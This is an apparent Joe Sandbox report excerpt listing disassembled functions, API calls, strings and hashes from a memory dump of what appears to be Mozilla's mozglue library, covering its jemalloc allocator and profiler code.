Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 7f8c3e050025d97739e9791cd89f15dc23db4da2ee2f0787d825eba69b4c7633
Instruction ID: de0beb1747997242d629ae10073735aad9834b92cadb0c87c0f7346fa7c7865b
Opcode Fuzzy Hash: 7f8c3e050025d97739e9791cd89f15dc23db4da2ee2f0787d825eba69b4c7633
Instruction Fuzzy Hash: 09A2BD73A083818FC725CF28C48079FB7E5BFC9714F044A2DE99997261DB74A959CB82

Function 6BF46FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF47019
LeaveCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF47061
EnterCriticalSection.KERNEL32(?), ref: 6BF471A4
LeaveCriticalSection.KERNEL32(?), ref: 6BF4721D
memcpy.VCRUNTIME140(?,?,?), ref: 6BF4723E
EnterCriticalSection.KERNEL32(?), ref: 6BF4726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6BF472B2
LeaveCriticalSection.KERNEL32(?), ref: 6BF4733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6BF473E8
LeaveCriticalSection.KERNEL32(?), ref: 6BF4961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF49622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF49642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF4964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF496CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF496DB
AcquireSRWLockExclusive.KERNEL32(6BF9E804), ref: 6BF49747
GetSystemInfo.KERNEL32(?), ref: 6BF49792
__Init_thread_footer.LIBCMT ref: 6BF497A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6BF9E810,00000040), ref: 6BF497CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E7B8,00001388), ref: 6BF49838
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E744,00001388), ref: 6BF4984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E784,00001388), ref: 6BF49874
InitializeCriticalSectionAndSpinCount.KERNEL32(6BF9E7DC,00001388), ref: 6BF49895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6BF49BF4
Compile-time page size does not divide the runtime one., xrefs: 6BF49B38
MOZ_CRASH(), xrefs: 6BF49B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6BF49993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6BF499A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF49933, 6BF49A33, 6BF49A4E
<jemalloc>, xrefs: 6BF49B33, 6BF49BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6BF499BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6BF499D2
MALLOC_OPTIONS, xrefs: 6BF497CA

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: d67e6f5ac95b34e5ff89f943d58084340cbce4d50a51e3cf9fe0c6fdd3f9e394
Instruction ID: 9a721fbfdf3cc16e29f295b1251a92d5b1b93ad6da61c94eb08b3dee7281d448
Opcode Fuzzy Hash: d67e6f5ac95b34e5ff89f943d58084340cbce4d50a51e3cf9fe0c6fdd3f9e394
Instruction Fuzzy Hash: 15536A72A157018FD714CF28C580615FFE1BF8A724F19C6ADE8698B3A2D779E841CB81

Function 6BF31AF0 Relevance: 83.8, APIs: 36, Strings: 10, Instructions: 3305COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6BF31C36
LeaveCriticalSection.KERNEL32(?), ref: 6BF31CAD
memcpy.VCRUNTIME140(?,?,?), ref: 6BF31CCA
EnterCriticalSection.KERNEL32(?), ref: 6BF31CFB
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6BF31D42
LeaveCriticalSection.KERNEL32(?), ref: 6BF31DE0
EnterCriticalSection.KERNEL32(?), ref: 6BF31E75
memset.VCRUNTIME140(?,000000E5,?), ref: 6BF32901
EnterCriticalSection.KERNEL32(6BF9E744), ref: 6BF33FD6
LeaveCriticalSection.KERNEL32(6BF9E744), ref: 6BF34011
LeaveCriticalSection.KERNEL32(?), ref: 6BF34066
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF3406C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF34088
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6BF34095

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6BF3460C
Compile-time page size does not divide the runtime one., xrefs: 6BF34550
MOZ_CRASH(), xrefs: 6BF3455A
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6BF343B5
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6BF343CA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF34371, 6BF34438, 6BF3445A
<jemalloc>, xrefs: 6BF3454B, 6BF345FB
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6BF343DF
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6BF343F4
MALLOC_OPTIONS, xrefs: 6BF3420C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeave$K@1@Maybe@_RandomUint64@mozilla@@memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2200976442-4173974723
Opcode ID: 4a652aee05ff98a6ddec3dbc33847ea5101183e46a9888806aed396096712708
Instruction ID: 3f27738a88fc750d754231e55e1baff43e9b19bafa0b42fbfd988bfb0709b40c
Opcode Fuzzy Hash: 4a652aee05ff98a6ddec3dbc33847ea5101183e46a9888806aed396096712708
Instruction Fuzzy Hash: A6539D73A056218FD718CF28C550615FBE2BF85724F19C6ADE8698B3A1D73AE841CBC1

Function 6BF1F380 Relevance: 74.7, APIs: 49, Instructions: 1206memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6BF1F43A
__Init_thread_footer.LIBCMT ref: 6BF1F44D
EnterCriticalSection.KERNEL32(6BF9F83C), ref: 6BF1F492
moz_xmalloc.MOZGLUE(0000000C), ref: 6BF1F4BB
moz_xmalloc.MOZGLUE(00000014), ref: 6BF1F4E8
GetSystemInfo.KERNEL32(?), ref: 6BF1F599
__Init_thread_footer.LIBCMT ref: 6BF1F5AC
GetCurrentProcess.KERNEL32 ref: 6BF1F5D0
VirtualAlloc.KERNEL32(00000000,00000000,00002000,00000001), ref: 6BF1F5EB
LeaveCriticalSection.KERNEL32(6BF9F83C), ref: 6BF1F606
EnterCriticalSection.KERNEL32(6BF9F83C), ref: 6BF1F63D
VirtualAlloc.KERNEL32(?,00001000,00000020), ref: 6BF1F69E
VirtualProtect.KERNEL32(00000004,00000080,00000040,?), ref: 6BF1F705
LeaveCriticalSection.KERNEL32(6BF9F83C), ref: 6BF1F7A1
EncodePointer.KERNEL32(?), ref: 6BF1F824
EncodePointer.KERNEL32(?), ref: 6BF1F88A
memcpy.VCRUNTIME140(00000000,00000000,00000002), ref: 6BF1FA1A
memcpy.VCRUNTIME140(?,?,?), ref: 6BF1FBE2
GetCurrentProcess.KERNEL32 ref: 6BF1FBEA
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6BF1FBF5
VirtualProtect.KERNEL32(00000000,000000FF,?,?), ref: 6BF1FCA3
VirtualProtect.KERNEL32(00000000,00000000,?,?), ref: 6BF1FCF0
InitializeCriticalSectionEx.KERNEL32(6BF9F83C,00000FA0,01000000), ref: 6BF1FD32
__Init_thread_footer.LIBCMT ref: 6BF1FD44
InitializeCriticalSectionEx.KERNEL32(6BF9F83C,00000FA0,01000000), ref: 6BF1FD7A
__Init_thread_footer.LIBCMT ref: 6BF1FD8C
GetSystemInfo.KERNEL32(?), ref: 6BF1FDB8
__Init_thread_footer.LIBCMT ref: 6BF1FDCB
GetSystemInfo.KERNEL32(?), ref: 6BF1FDFA
__Init_thread_footer.LIBCMT ref: 6BF1FE0D
GetSystemInfo.KERNEL32(?), ref: 6BF1FE3C
__Init_thread_footer.LIBCMT ref: 6BF1FE4F
moz_xmalloc.MOZGLUE(00000014), ref: 6BF2001F
free.MOZGLUE(?), ref: 6BF2004C

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Init_thread_footer$CriticalSection$InfoSystemVirtual$Protectmoz_xmalloc$AllocCurrentEncodeEnterInitializeLeavePointerProcessmemcpy$CacheFlushInstructionfree
String ID:
API String ID: 1298523428-0
Opcode ID: be51d63bfb7ca4cbb75c7dc41df46b32100e9b08ea8827e9f1eb9d08c57469c0
Instruction ID: c597b0178ca541b6b7b042907c3a3359713b016dad9ceb9bd4b43ace2a122619
Opcode Fuzzy Hash: be51d63bfb7ca4cbb75c7dc41df46b32100e9b08ea8827e9f1eb9d08c57469c0
Instruction Fuzzy Hash: 2CA2E273A0C341DFD790CF28C890B5ABBE1BB86314F14896DE89987271D779E846CB52

Function 6BF59A60 Relevance: 70.4, APIs: 27, Strings: 12, Instructions: 2107
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF59A95
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF59A9D

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF59ACC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF59BA7
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BF59BB8
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BF59BC9
GetSystemTime.KERNEL32(?,00000000), ref: 6BF59C39
SystemTimeToFileTime.KERNEL32(?,?), ref: 6BF59C45
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BF59C61
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(00000000,?,2AC18000,?,0000000A,00000000), ref: 6BF59CC6
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,2AC18000,?,0000000A,00000000), ref: 6BF59D31
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000,2AC18000,?,0000000A,00000000), ref: 6BF59D41
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(00000000,?,00000000,00000000,2AC18000,?,0000000A,00000000), ref: 6BF59DDC
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF59E45
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,?), ref: 6BF59E81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000,?), ref: 6BF59E97

Part of subcall function 6BF1EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF1EB83

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE(00000000,00000000,?), ref: 6BF59F61
moz_xmalloc.MOZGLUE(00000028), ref: 6BF5B26A

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

memcpy.VCRUNTIME140(?,?,?), ref: 6BF5B331
?Stream@MarkerSchema@mozilla@@QHAEXAAVJSONWriter@2@ABV?$Span@$$CBD$0PPPPPPPP@@2@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,6BF8D734,?,?,?,6BF8D734,?,?), ref: 6BF5B38D
free.MOZGLUE(?,?,?,?,6BF8D734,?,?,?,6BF8D734,?,?,?,6BF8D734,?,?,?), ref: 6BF5B406
GetCurrentThreadId.KERNEL32 ref: 6BF5B41D
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF5B5A4

Part of subcall function 6BF14310: moz_xmalloc.MOZGLUE(00000010,?,6BF142D2), ref: 6BF1436A
Part of subcall function 6BF14310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6BF142D2), ref: 6BF14387

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6BF5B695
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF5B6F1
free.MOZGLUE(-00000004), ref: 6BF5B7AC

Strings

Other, xrefs: 6BF5A0A1, 6BF5A0EE, 6BF5A16C, 6BF5A33B, 6BF5A498, 6BF5A63E, 6BF5A820, 6BF5A8EC, 6BF5AA71, 6BF5AB3E, 6BF5AC0B, 6BF5ACD3, 6BF5AD9B, 6BF5AE68, 6BF5AF35, 6BF5B001, 6BF5B0CE, 6BF5B1E4
yellow, xrefs: 6BF5A43F, 6BF5AAE9
[I %d/%d] locked_profiler_stream_json_for_this_process, xrefs: 6BF59AA5
Test, xrefs: 6BF5A1EC
name, xrefs: 6BF5A030, 6BF5A0FF, 6BF5A1F8, 6BF5A2C5, 6BF5A422, 6BF5A5C8, 6BF5A7AA, 6BF5A87B, 6BF5AA00, 6BF5AACC, 6BF5AB99, 6BF5AC61, 6BF5AD2E, 6BF5ADF6, 6BF5AEC3, 6BF5AF90, 6BF5B05C, 6BF5B177
orange, xrefs: 6BF5A5E5, 6BF5ABB6, 6BF5B079
lightblue, xrefs: 6BF5A7C7, 6BF5AEE0
green, xrefs: 6BF5A898, 6BF5AD4B
purple, xrefs: 6BF5A2E2, 6BF5AE13
stackwalk, xrefs: 6BF5B46C
subcategories, xrefs: 6BF5A076, 6BF5A141, 6BF5A242, 6BF5A310, 6BF5A46D, 6BF5A613, 6BF5A7F5, 6BF5A8C1, 6BF5AA46, 6BF5AB13, 6BF5ABE0, 6BF5ACA8, 6BF5AD70, 6BF5AE3D, 6BF5AF0A, 6BF5AFD6, 6BF5B0A3, 6BF5B1B9
color, xrefs: 6BF5A05D, 6BF5A128, 6BF5A225, 6BF5A2F3, 6BF5A450, 6BF5A5F6, 6BF5A7D8, 6BF5A8A4, 6BF5AA29, 6BF5AAFA, 6BF5ABC7, 6BF5AC8F, 6BF5AD57, 6BF5AE24, 6BF5AEF1, 6BF5AFBD, 6BF5B08A, 6BF5B1A0

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$free$?profiler_time@baseprofiler@mozilla@@getenv$BaseCurrentDurationPlatformSeconds@SystemThreadUtils@mozilla@@memcpymoz_xmalloc$FileInit_thread_footerMarkerNow@P@@2@@Schema@mozilla@@Span@$$Stamp@mozilla@@Stream@Unothrow_t@std@@@V12@_Writer@2@__acrt_iob_func__ehfuncinfo$??2@__stdio_common_vfprintf_getpidmalloc
String ID: Other$Test$[I %d/%d] locked_profiler_stream_json_for_this_process$color$green$lightblue$name$orange$purple$stackwalk$subcategories$yellow
API String ID: 2456888257-1590927224
Opcode ID: 279eb459e1aac0f5e9ada8ce5bc165fa3749144ef75db1a2549e46e4e1960903
Instruction ID: fc56d747bf5a9b95140bc60c6b642c5c29721d06cc448e126d627a020d345db8
Opcode Fuzzy Hash: 279eb459e1aac0f5e9ada8ce5bc165fa3749144ef75db1a2549e46e4e1960903
Instruction Fuzzy Hash: 48F29DB26047419FE7249F38985172FBAEAEFD5344F10893DE499CB360EB39D8058B91

Function 6BF5F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF5F09B

Part of subcall function 6BF35B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6BF356EE,?,00000001), ref: 6BF35B85
Part of subcall function 6BF35B50: EnterCriticalSection.KERNEL32(6BF9F688,?,?,?,6BF356EE,?,00000001), ref: 6BF35B90
Part of subcall function 6BF35B50: LeaveCriticalSection.KERNEL32(6BF9F688,?,?,?,6BF356EE,?,00000001), ref: 6BF35BD8
Part of subcall function 6BF35B50: GetTickCount64.KERNEL32 ref: 6BF35BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BF5F0AC

Part of subcall function 6BF35C50: GetTickCount64.KERNEL32 ref: 6BF35D40
Part of subcall function 6BF35C50: EnterCriticalSection.KERNEL32(6BF9F688), ref: 6BF35D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BF5F0BE

Part of subcall function 6BF35C50: __aulldiv.LIBCMT ref: 6BF35DB4
Part of subcall function 6BF35C50: LeaveCriticalSection.KERNEL32(6BF9F688), ref: 6BF35DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6BF5F155
GetCurrentThreadId.KERNEL32 ref: 6BF5F1E0
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F1ED
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F212
GetCurrentThreadId.KERNEL32 ref: 6BF5F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF5F248
GetCurrentThreadId.KERNEL32 ref: 6BF5F2AE
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F2BB
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F2F8

Part of subcall function 6BF4CBE8: GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
Part of subcall function 6BF4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF5F350
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F35D
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F381
GetCurrentThreadId.KERNEL32 ref: 6BF5F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5F3A0
GetCurrentThreadId.KERNEL32 ref: 6BF5F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5F491

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF5F3CF

Part of subcall function 6BF5F070: GetCurrentThreadId.KERNEL32 ref: 6BF5F440
Part of subcall function 6BF5F070: AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F44D
Part of subcall function 6BF5F070: ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF5F4A8
GetCurrentThreadId.KERNEL32 ref: 6BF5F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF5F561
GetCurrentThreadId.KERNEL32 ref: 6BF5F577
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F585
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6BF5F56A
[I %d/%d] profiler_resume, xrefs: 6BF5F239
[I %d/%d] profiler_pause_sampling, xrefs: 6BF5F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6BF5F499

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 8621307f9b52f3dcbdd204829c0394c9e3604ef74f1d0da959bf28231a46c3ac
Instruction ID: 84919fb06a1df3b043a9d13299adb677ba1a108d8a7dcb7670578aace39c629f
Opcode Fuzzy Hash: 8621307f9b52f3dcbdd204829c0394c9e3604ef74f1d0da959bf28231a46c3ac
Instruction Fuzzy Hash: A1D159735243058FDB40BF78D44476A7BE8EB86328F10455AF959832B2CB78E81DC7A2

Function 6BF460A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF460C9
LeaveCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF4610D
EnterCriticalSection.KERNEL32(?), ref: 6BF4618C
LeaveCriticalSection.KERNEL32(?), ref: 6BF461F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6BF46B6A
Compile-time page size does not divide the runtime one., xrefs: 6BF46AAE
MOZ_CRASH(), xrefs: 6BF46AB8
<jemalloc>, xrefs: 6BF46AA9, 6BF46B59
MOZ_RELEASE_ASSERT(mNode), xrefs: 6BF46BC7, 6BF46F97, 6BF46FB2
MALLOC_OPTIONS, xrefs: 6BF46888

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeave
